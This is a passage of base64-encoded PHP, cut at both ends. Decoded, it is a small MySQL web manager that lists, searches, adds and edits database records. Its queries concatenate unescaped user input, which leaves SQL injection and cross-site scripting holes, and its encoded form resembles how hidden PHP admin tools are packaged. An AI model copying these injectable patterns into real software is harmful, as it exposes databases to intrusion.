vZW5kIGVkaXQgdmFsdWVzCgogICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICRfU0VTU0lPTlsnZGVmYWx0dXNlciddPXRydWU7CiAgICAgICAgICAgICRkYm5hbWVhcnJheSA9IGFycmF5KCk7CiAgICAgICAgICAgICRsaW5rID0gY29ubmVjdG15c3FsKCk7CgogICAgICAgICAgICAkZGJfbGlzdCA9IG15c3FsX2xpc3RfZGJzKCRsaW5rKTsgLy8kZGJfbGlzdAogICAgICAgICAgICAgICAgICAgICRjbnQgPSBteXNxbF9udW1fcm93cygkZGJfbGlzdCk7CiAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCAkY250OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJuYW1lYXJyYXlbJGldPSBteXNxbF9kYl9uYW1lKCRkYl9saXN0LCAkaSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgfQogICAgcmV0dXJuICRkYm5hbWVhcnJheTsKfQp9Ci8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCi8vZnVuY3Rpb24gc2hvd2RicygkZGJuYW1lYXJyYXksICRiYWNrdXBwYXRoKXsKZnVuY3Rpb24gc2hvd2RicygkZGJuYW1lYXJyYXkpewogICAgLy8kYmFja3VwcGF0aD1hZGRzbGFzaGVzKCRiYWNrdXBwYXRoKTsKICAgICAgIGVjaG8iPHRhYmxlPlxuIjsKICAgICAgIGZvciAoJGkgPTA7ICRpIDwgY291bnQoJGRibmFtZWFycmF5KTsgJGkrKykgewogICAgICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4iOwogICAgICAgICAgICAkZGJuPSRkYm5hbWVhcnJheVskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICR2YT0iR28gdG8gdGhlIGJhc2UgJGRibiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oJyAnLCAkZGJuLCRhY3Rpb24sICdidXQnLCAnZGInLCAkdmEgKTsKCiAgICAgICAgICAgICRkYnM9bXlzaXplKCRkYm5hbWVhcnJheVskaV0sIiIpOwogICAgICAgICAgICBlY2hvIjwvdGQ+PHRkPiRkYnM8L3RkPjwvdHI+XG4iOwogICAgICAgIH0KICAgIGVjaG8iPC90YWJsZT5cbiI7Cn0KCgovLyoqKioqKioqKioqKioqKioqKioqKiBTaG93IExvZ291dCBCdXR0b24gKioqKioqKioqKgpmdW5jdGlvbiBlbmRzZXNzKCl7CmVjaG8iPGZvcm0gbWV0aG9kPSdwb3N0JyBuYW1lPSdlbmRzZXNzJyBhY3Rpb249JyRhY3Rpb24nPlxuIjsKZWNobyI8aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9nb3V0JyB2YWx1ZT0nTG9nb3V0JyAvPlxuIjsKZWNobyI8L2Zvcm0+IjsKfQoKLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgpmdW5jdGlvbiBjb25uZWN0bXlzcWwoKXsKICAgICAgICAvL0Nvbm5lY3RzIHRvIHRoZSBNeVNRTCBEYXRhYmFzZS4KCgogICAgICAgIGlmIChpc3NldCgkX1NFU1NJT05bJ3VzZXInXSkgJiYgaXNzZXQoJF9TRVNTSU9OWydwYXNzd29yZCddKSl7CiAgICAgICAgICAgICAgICAgJHVzZXIgPSAkX1NFU1NJT05bJ3VzZXInXTsKICAgICAgICAgICAgICAgICAkcGFzcyA9ICRfU0VTU0lPTlsncGFzc3dvcmQnXTsKICAgICAgICB9ZWxzZXsKICAgICAgICBkaXNwbGF5X2Zvb3QoKTsKICAgICAgICBlY2hvIlxuPC9ib2R5PlxuPC9odG1sPiI7CiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQogICAgICAgICRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJF9TRVNTSU9OWydob3N0J10sICRfU0VTU0lPTlsndXNlciddLCAkX1NFU1NJT05bJ3Bhc3N3b3JkJ10pOwogICAgICAgIGlmKCEgJGxpbmspewogICAgICAgICAgICAgICAgZWNobyI8ZGl2IGNsYXNzPSdlcnJvcic+XG4iOwogICAgICAgICAgICAgICAgZWNobyJVbmFibGUgdG8gY29ubmVjdCB0byB0aGUgZGF0YWJhc2Ugc2VydmVyLiA8QlI+IjsKICAgICAgICAgICAgICAgIGVjaG8iVGhlIEhvc3Q6ICRfU0VTU0lPTltob3N0XSwgVXNlcm5hbWU6ICR1c2VyIE9yIGNhbGwgY29uZmlkZW50aWFsIEt0YWUuIDxicj4iOwogICAgICAgICAgICAgICAgZWNobyJBcyB3ZWxsIG91dCBvZiB0aGUgcmVjb3JkIGF0dGVtcHQgb25jZSBBa2hhcmllLlxuIjsKICAgICAgICAgICAgICAgIGVjaG8iPC9kaXY+XG4iOwoKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfSBlbHNlewogICAgICAgICAgICAgICAgcmV0dXJuICRsaW5rOwogICAgICAgIH0KCn0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKZnVuY3Rpb24gY29ubmVjdGRiKCRkYiwgJGxpbmspewogICAgICAgIGlmKCEgbXlzcWxfc2VsZWN0X2RiKCRkYiwkbGluaykpewogICAgICAgICAgICAgICAgZWNobyJVbmFibGUgdG8gbG9jYXRlIGRhdGFiYXNlICRkYi48YnI+IFBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIuXG4iOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KfQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgpmdW5jdGlvbiBleGVxdWVyeSgkc3FsLCAkdGFibGVuYW1lLCAkZGIpewogICAgICAgICRyZXN1bHQ9IEBteXNxbF9xdWVyeSggJHNxbCApOwogICAgICAgIGlmKCRyZXN1bHQpewogICAgICAgICAgICAgICAgLy9lY2hvICJRdWVyeSBzdWNjZXNzZnVsIjsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyJTb3JyeSB5b3VyIFF1ZXJ5IGZhaWxlZDogJHNxbCA8YnI+IGVycm9yOiIubXlzcWxfZXJyb3IoKS4iXG4iOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KfQoKCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiRmaWVsZHR5cGVzID0gYXJyYXkoIkJJR0lOVCIsICJCTE9CIiwgIkNIQVIiLCAiREFURSIsICJEQVRFVElNRSIsICJERUNJTUFMIiwgIkRPVUJMRSIsICJFTlVNIiwgIkZMT0FUIiwKICAiSU5UIiwgIklOVEVHRVIiLCAiTE9OR0JMT0IiLCAiTE9OR1RFWFQiLCAiTUVESVVNQkxPQiIsICJNRURJVU1JTlQiLCAiTUVESVVNVEVYVCIsICJOVU1FUklDIiwgIlBSRUNJU0lPTiIsCiAiUkVBTCIsIlNFVCIsICJTTUFMTElOVCIsICJURVhUIiwgIlRJTUUiLCAiVElNRVNUQU1QIiwgIlRJTllCTE9CIiwgIlRJTllJTlQiLCAiVElOWVRFWFQiLCAiVkFSQ0hBUiIsICJZRUFSIiApOwoKCi8vKioqKioqKioqKioqKioqKioqIFNlYXJjaCBGb3JtICoqKioqKioqKioqKioqKioqKioqKioqKioqKioKZnVuY3Rpb24gc2VhcmNodGFibGVmb3JtKCR0YWJsZW5hbWUsICRkYm5hbWUpewogICAgICAgIGVjaG8iPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249JyRhY3Rpb24nPlxuIjsKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdkYm5hbWUnIHZhbHVlPSckZGJuYW1lJyAvPlxuIjsKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSd0YWJsZW5hbWUnIHZhbHVlPSckdGFibGVuYW1lJyAvPlxuIjsKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nc2VhcmNodmFsJyAvPlxuIjsKICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zZXIgdHlwZT1zdWJtaXQgbmFtZT0nc2VhcmNoJyB2YWx1ZT0nU2VhcmNoICR0YWJsZW5hbWUnIC8+XG4iOwogICAgICAgIGVjaG8iPC9mb3JtPlxuIjsKfQovLyoqKioqKioqKioqKioqKioqKioqKiBTZWFyY2ggKioqKioqKioqKioqKioqKioqKioqKioqKgpmdW5jdGlvbiBzZWFyY2h0KCR0YWJsZW5hbWUsICRkYm5hbWUsICRzZWFyY2h2YWwpewogICAgICAgIGlmKCEgZW1wdHkoJHNlYXJjaHZhbCkpewogICAgICAgICAgICAgICAgLy8gICAgICAgICRzZWFyY2h2YWw9IHN0cl9yZXBsYWNlKCI7IiwnICcsICRzZWFyY2h2YWwpOwogICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIsICR0YWJsZW5hbWUsICRkYm5hbWUpOwogICAgICAgICAgICAgICAgLy8kcmVzdWx0PW15c3FsX3F1ZXJ5KCJTZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUiKTsKICAgICAgICAgICAgICAgICRudW0gPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwogICAgICAgICAgICAgICAgJGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCRkYm5hbWUsICR0YWJsZW5hbWUpOwogICAgICAgICAgICAgICAgJHdocj0id2hlcmUgIjsKICAgICAgICAgICAgICAgICR0b2s9ZXhwbG9kZSgiICIsJHNlYXJjaHZhbCk7CiAgICAgICAgICAgICAgICBmb3IgKCR0ID0wOyAkdCA8IGNvdW50KCR0b2spOyAkdCsrKXsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yICggJGMgPSAwOyAkYyA8ICRudW07ICRjKyspewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbiA9bXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkYyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdociAuPSIgJGZuIGxpa2UgJyUkdG9rWyR0XSUnIG9yICI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR3aHI9dHJpbShzdWJzdHJfcmVwbGFjZSgkd2hyLCAiICIsIC0zKSk7CiAgICAgICAgICAgICAgICAkcXVlcnk9IlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSAkd2hyIjsKICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgICAgIH0KCn0KLy8qKioqKioqKioqKioqKioqKioqKipHT1RPIGJ1dHRvbnMqKioqKioqKioqKioqKioqKioqKioqKioqCi8vcHJvdmlkZXMgYSBmb3JtIGFuZCBidXR0b24uCgpmdW5jdGlvbiBnb3RvKCR0YWJsZW5hbWUsICRkYm5hbWUsICRhY3Rpb24sICRjbGFzcywgJG5hbWUsICR2YSApewogICAgICAgIC8vQWRkcyBhIGJ1dHRvbi4KCiAgICAgICAgZWNobyI8Zm9ybSBhY3Rpb249JyRhY3Rpb24nIG1ldGhvZD0ncG9zdCcgPlxuIjsKCiAgICAgICAgICAgICAgICBpZighIGVyZWdpKCd0YWJsZXN0YXJ0JywgJG5hbWUpKXsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0nJHRhYmxlbmFtZScgLz5cbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz0kY2xhc3MgdHlwZT1zdWJtaXQgIHZhbHVlPSckdmEnIG5hbWU9JyRuYW1lJyAvPlxuIjsKICAgICAgICAgICAgICAgIC8vZWNobyI8aW5wdXQgY2xhc3M9JGNsYXNzIHR5cGU9c3VibWl0ICB2YWx1ZT0nJGFjdGlvbicgbmFtZT0kbmFtZT4iOwogICAgICAgIGVjaG8iPC9mb3JtPlxuIjsKCiAgICAgICAgLy9lY2hvIjxhIGNsYXNzPSRjbGFzcyBocmVmPSRhY3Rpb24+JHZhPC9hPiI7CiAgICAgICAgLy99Cn0KCi8vKioqKioqKioqKioqKioqKioqKioqKiogU2hvd0RCICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCmZ1bmN0aW9uIHNob3dkYigpewovL2Z1bmN0aW9uIHNob3dkYigkYmFja3VwcGF0aCl7CgogICAgICAgICRsaW5rPWNvbm5lY3RteXNxbCgpOwogICAgICAgIGlmICgkbGluayl7CiAgICAgICAgZWNobyI8ZGl2IGNsYXNzPSdkYic+IjsKICAgICAgICAgICAgICAgIGVjaG8iPGRpdiBjbGFzcz0nY3JlYW0nPlxuIjsKICAgICAgICAgICAgICAgIGVjaG8iPGgyIGNsYXNzPWggPlRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGJhc2U8L2gyPlxuIjsKCiAgICAgICAgICAgICAgICBlY2hvIjxmb3JtIG5hbWU9Y2RiIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0JyA+XG4iOwogICAgICAgICAgICAgICAgZWNobyJOYW1lIG9mIG5ldyBydWxlOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmRibmFtZSAvPlxuIjsKICAgICAgICAgICAgICAgIGVjaG8iPGJyIC8+PGJyIC8+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2NuZGInIHZhbHVlPSdUaGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBiYXNlJyAvPlxuIjsKICAgICAgICAgICAgICAgIGVjaG8iPC9mb3JtPjxiciAvPiI7CiAgICAgICAgICAgICAgICBlY2hvIjwvZGl2PiI7CiAgICAgICAgICAgICAgICBlY2hvIjxoMiBjbGFzcz1oID5UaGUgbGlzdCBvZiBydWxlcyBhdmFpbGFibGU8L2gyPlxuIjsKICAgICAgICAgICAgICAgIC8vUmVzdHJpY3QgdGhlIGRhdGFiYXNlIGZvciB1c2VycwogICAgICAgICRkYm5hbWVhcnJheT0gZGJyZXN0cmljdCgpOwogICAgICAgIHNob3dkYnMoJGRibmFtZWFycmF5KTsKICAgICAgICBlY2hvIjwvZGl2PiI7CiAgICAgICAgICAgfQoKfQoKLy8qKioqKioqKioqKioqKioqKioqKioqIEJ1aWxkV2hyICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgovL0J1aWxkcyB0aGUgV2hlcmUgcGFydCBvZiBxdWVyaWVzLgoKZnVuY3Rpb24gYnVpbGR3aHIoJHBrLCAkcHYpewogICAgICAgICR3aHI9IiI7CiAgICAgICAgJHBuID1jb3VudCgkcHYpOwogICAgICAgIGZvcigkdCA9MDsgJHQgPCAkcG47ICR0KyspewogICAgICAgICAgICAgICAgJHdoci49IiRwa1skdF09JyRwdlskdF0nIjsKICAgICAgICAgICAgICAgIGlmKCR0IDwgJHBuLTEpewogICAgICAgICAgICAgICAgICAgICAgICAkd2hyLj0iIGFuZCAiOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJHdociAhPSIgIil7CiAgICAgICAgICAgICAgICByZXR1cm4gJHdocjsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9Cn0KLy8qKioqKioqKioqKioqKioqKioqKioqKkFERCBSZWNvcmQgKioqKioqKioqKioqKioqKioqCgpmdW5jdGlvbiBhZGRyZWNvcmQoJHRhYmxlbmFtZSwgJGRibmFtZSwgJGFycmF5KXsKICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCJTZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUiLCAkdGFibGVuYW1lLCAkZGJuYW1lKTsKICAgICAgICAvLyRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoICJTZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUiICk7CgogICAgICAgICRmbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsKICAgICAgICAvLyRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsKICAgICAgICAgICAkcXJ5PSIgIjsKICAgICRxdWVyeSA9ICJJbnNlcnQgaW50byAkdGFibGVuYW1lIFZhbHVlcyggIjsKICAgICAgICBmb3IgKCR4ID0wOyAkeCA8ICRmbGRzOyAkeCsrKXsKICAgICAgICAvL011bHRpcGxlIFNlbGVjdCB2YWx1ZXMgZm9yIFNFVAoKICAgICAgIGlmKGlzX2FycmF5KCRhcnJheVskeF0pKXsKICAgICAgICAgICAgJG12YWw9IiI7CiAgICAgICAgICAgIGZvcigkbT0wOyAkbSA8IGNvdW50KCRhcnJheVskeF0pOyAkbSsrKXsKICAgICAgICAgICAgICAgIGlmKCRtKzEgPT0gY291bnQoJGFycmF5WyR4XSkpewogICAgICAgICAgICAgICAgICAgICRtdmFsLj0gQWRkU2xhc2hlcygkYXJyYXlbJHhdWyRtXSk7CgogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZnZhbCA9ICRtdmFsOwogICAgICAgICAgICB9CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgJGZ2YWwgPSBBZGRTbGFzaGVzKCRhcnJheVskeF0pOwogICAgICAgIH0KICAgICAgICAgICAgICAgICRxcnkgLj0gIickZnZhbCciOwogICAgICAgICAgICAgICAgaWYgKCR4IDwgJGZsZHMtMSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRxcnkuPSAiLCAiOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkcXVlcnkgLj0gJHFyeS4iKSI7CiAgIC8vIGVjaG8icXJ5OiAkcXJ5IjsKICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRxdWVyeSwgJHRhYmxlbmFtZSwgJGRibmFtZSk7CiAgICAgICAgaWYoJHJlc3VsdCl7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9Cn0KCi8vKioqKioqKioqKioqKioqKioqKioqKkFERCBGb3JtICoqKioqKioqKioqKioqKioqKioqKioKCmZ1bmN0aW9uIGFkZGZvcm0oJHRhYmxlbmFtZSwgJGRibmFtZSl7CiAvL0Rpc3BsYXkgdGhlIGZpZWxkIG5hbWVzIGFuZCBpbnB1dCBib3hlcwogZWNobyI8Zm9ybSBhY3Rpb249JyRhY3Rpb24nIG1ldGhvZD0ncG9zdCc+XG4iOwogZWNobyI8dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnIGFsaWduPSdjZW50ZXInPlxuIjsKIGVjaG8iPHRyIGNsYXNzPWhlYWQ+PHRkPkZpZWxkIE5hbWU8L3RkPjx0ZD5UeXBlPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+XG4iOwogICRyZXN1bHQ9ZXhlcXVlcnkoIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIsICR0YWJsZW5hbWUsICRkYm5hbWUpOwogLy8kcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCAiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiApOwogJGZsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwogJGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCRkYm5hbWUsICR0YWJsZW5hbWUpOwogZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOwogZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0nZGJuYW1lJyB2YWx1ZT0nJGRibmFtZScgLz5cbiI7CiBlY2hvIjx0cj5cbiI7CgogJG14bGVuID0gODA7Ly9tYXggd2lkdGggb2YgdGhlIGZvcm0gZmllbGRzLgogZm9yKCRpPTA7ICRpIDwgJGZsZHM7ICRpKyspewogICAgICAkYXV0byA9ICJmYWxzZSI7CiAgICAgIGVjaG8gIjx0aD4iLm15c3FsX2ZpZWxkX25hbWUoJGZpZWxkcywgJGkpOwogICAgICAkZmllbGRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkaSk7ICAvLyBhZGRlZAogICAgICAkdHlwZSAgPSBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsKICAgICAgJGZsZW4gPSBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOy8vbGVuZ3RoIG9mIHRoZSBmaWVsZAogICAgICAkZmxhZ3N0cmluZyA9IG15c3FsX2ZpZWxkX2ZsYWdzICgkcmVzdWx0LCAkaSk7CiAgICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bgogICAgICAkbmV3c3FsID0gInNob3cgY29sdW1ucyBmcm9tICR0YWJsZW5hbWUgbGlrZSAnJSIuJGZpZWxkbmFtZS4iJyI7CiAgICAgICRuZXdyZXN1bHQgPSBleGVxdWVyeSgkbmV3c3FsLCAkdGFibGVuYW1lLCAkZGJuYW1lKTsKICAgICAgLy9teXNxbF9xdWVyeSgkbmV3c3FsKSBvciBkaWUgKCdJIGNhbm5vdCBnZXQgdGhlIHF1ZXJ5IGJlY2F1c2U6ICcgLiBteXNxbF9lcnJvcigpKTsKICAgICAgJGFycj1teXNxbF9mZXRjaF9hcnJheSgkbmV3cmVzdWx0KTsKICAgIC8vIEVuZCBvZiBuZXcgY29kZSBibG9jayBmb3Igc2V0IGRyb3AgZG93bgogICAgICBpZiAoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpewogICAgICAgJHR5cGUgLj0gIiBQSyAiOwogICAgICB9CiAgICAgIGlmKGVyZWdpKCJhdXRvIiwkZmxhZ3N0cmluZyApKXsKICAgICAgICR0eXBlIC49ICIgYXV0b19pbmNyZW1lbnQiOwogICAgICAgJGF1dG8gPSAidHJ1ZSI7CiAgICAgIH0KICAgICAgaWYgKCRhdXRvPT0idHJ1ZSIpewogICAgICAgIGVjaG8iPHRkPiR0eXBlPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhcnJheVskaV0nIHNpemU9JyRmbGVuJyB2YWx1ZT0wIC8+PC90ZD48L3RyPlxuIjsKICAgICAgfWVsc2VpZigkZmxlbiA+ICRteGxlbil7CiAgICAgICAgJHJ3cz0gJGZsZW4vJG14bGVuOwogICAgICAgIGlmKCRyd3M+MTApewogICAgICAgICAgICAgJHJ3cz0xMDsgLy9tYXggbGVuZ3RoIG9mIHRleHRhcmVhCiAgICAgICAgfQogICAgICAgIGVjaG8iPHRkPiR0eXBlPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9J2FycmF5WyRpXScgcm93cz0kcndzIGNvbHM9JG14bGVuPjwvdGV4dGFyZWE+PC90ZD48L3RyPlxuIjsKICAgICAgICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bgogICAgICB9ZWxzZWlmIChzdHJuY21wKCRhcnJbMV0sJ3NldCcsMyk9PTAgfHwgc3RybmNtcCgkYXJyWzFdLCdlbnVtJyw0KT09MCl7ICAvLyBXZSBoYXZlIGEgZmllbGQgdHlwZSBvZiBzZXQgb3IgZW51bQogICAgICAgJG51bT1zdWJzdHJfY291bnQoJGFyclsxXSwnLCcpICsgMTsgIC8vIGNvdW50IHRoZSBudW1iZXIgb2YgZW50cmllcwogICAgICAgJHBvcz1zdHJwb3MoJGFyclsxXSwnKCcgKTsgLy9maW5kIHRoZSBwb3NpdGlvbiBvZiAnKCcKICAgICAgICRuZXdzdHJpbmc9c3Vic3RyKCRhcnJbMV0sJHBvcysxKTsgIC8vIGdldCByaWQgb2YgdGhlICc/Pz8oJwogICAgICAgJHNuZXdzdHJpbmc9c3RyX3JlcGxhY2UoJyknLCcnLCRuZXdzdHJpbmcpOyAvLyBnZXQgcmlkIG9mIHRoZSBsYXN0ICcpJwogICAgICAgJG5uZXdzdHJpbmc9ZXhwbG9kZSgnLCcsJHNuZXdzdHJpbmcsJG51bSk7IC8vIHN0aWNrIGludG8gYW4gYXJyYXkKICAgICAgIGlmKHN0cm5jbXAoJGFyclsxXSwnc2V0JywzKT09MCApey8vU2V0cyBjYW4gaGF2ZSBjb21iaW5hdGlvbnMgb2YgdmFsdWVzCiAgICAgICAgICAgZWNobyAiPHRkPlNldCAoc2VsZWN0IG9uZSBvciBtb3JlKTwvdGQ+IjsKICAgICAgICAgICBlY2hvIjx0ZD48c2VsZWN0IG5hbWU9J2FycmF5WyRpXVtdJyBzaXplPSczJyBtdWx0aXBsZT4iOwogICAgICAgfWVsc2V7Ly9FbnVtIG9uZSB2YWx1ZSBvbmx5CiAgICAgICAgZWNobyAiPHRkPkVudW08L3RkPiI7CiAgICAgICAgICAgZWNobyI8dGQ+PHNlbGVjdCBuYW1lPSdhcnJheVskaV0nPiI7CiAgICAgICB9CiAgICAgICBmb3IoJHk9MDsgJHk8JG51bTskeSsrKXsKICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kbm5ld3N0cmluZ1skeV0+JG5uZXdzdHJpbmdbJHldIjsKICAgICAgIH0KICAgICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7CiAgICAvLyBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24KICAgICAgfWVsc2V7CiAgICAgICBlY2hvIjx0ZD4kdHlwZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nYXJyYXlbJGldJyBzaXplPSckZmxlbicgLz48L3RkPjwvdHI+XG4iOwogICAgICB9CiB9CiBlY2hvIjx0cj48dGQ+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXN1Ym1pdCBuYW1lPSdhZGRyZWMnIHZhbHVlPSdBZGQgUmVjb3JkJyAvPjwvdGQ+XG4iOwogZWNobyI8dGQ+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXJlc2V0IG5hbWU9J3Jlc2V0JyB2YWx1ZT0nUmVzZXQgRm9ybScgLz48L3RkPlxuIjsKIGVjaG8iPC90cj4iOwogZWNobyI8L3RhYmxlPlxuIjsKIGVjaG8iPC9mb3JtPlxuIjsKfQoKCi8vKioqKioqKioqKioqKioqKioqKioqRWRpdCBGb3JtICoqKioqKioqKioqKioqKgpmdW5jdGlvbiBlZGl0Zm9ybSgkdGFibGVuYW1lLCAkZGJuYW1lLCAkcmVzdWx0LCAkZWRpdCwgJHBrLCAkcHYpewogICAgICAgICRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CiAgICAgICAgZWNobyI8Zm9ybSBhY3Rpb249JyRhY3Rpb24nICBtZXRob2Q9cG9zdD5cbiI7CiAgICAgICAgZWNobyI8dGFibGUgYm9yZGVyPTAgd2lkdGggPScxMDAlJyBhbGlnbj0nY2VudGVyJz5cbiI7CgogICAgICAgICRmbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsKICAgICAgICAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMoJGRibmFtZSwgJHRhYmxlbmFtZSk7CiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOwoKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdkYm5hbWUnIHZhbHVlPSckZGJuYW1lJyAvPlxuIjsKICAgICAgICBlY2hvIjx0cj4iOwogICAgICAgICRteGxlbiA9IDgwOy8vbWF4IHdpZHRoIG9mIHRoZSBmb3JtIGZpZWxkcwogICAgICAgIGZvcigkaT0wOyAkaSA8ICRmbGRzOyAkaSsrKXsKICAgICAgICAkZm5hbWU9bXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkaSk7CiAgICAgICAgICAgICAgICBlY2hvICI8dGg+JGZuYW1lIjsKICAgICAgICAgICAgICAgICAkZmxlbiA9IG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7Ly9sZW5ndGggb2YgdGhlIGZpZWxkCiAgICAgICAgICAgICAgICAkbnNsYXNoID0gU3RyaXBTbGFzaGVzKCRyb3dbJGldKTsKICAgICAgICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bgogICAgICAkbmV3c3FsID0gInNob3cgY29sdW1ucyBmcm9tICR0YWJsZW5hb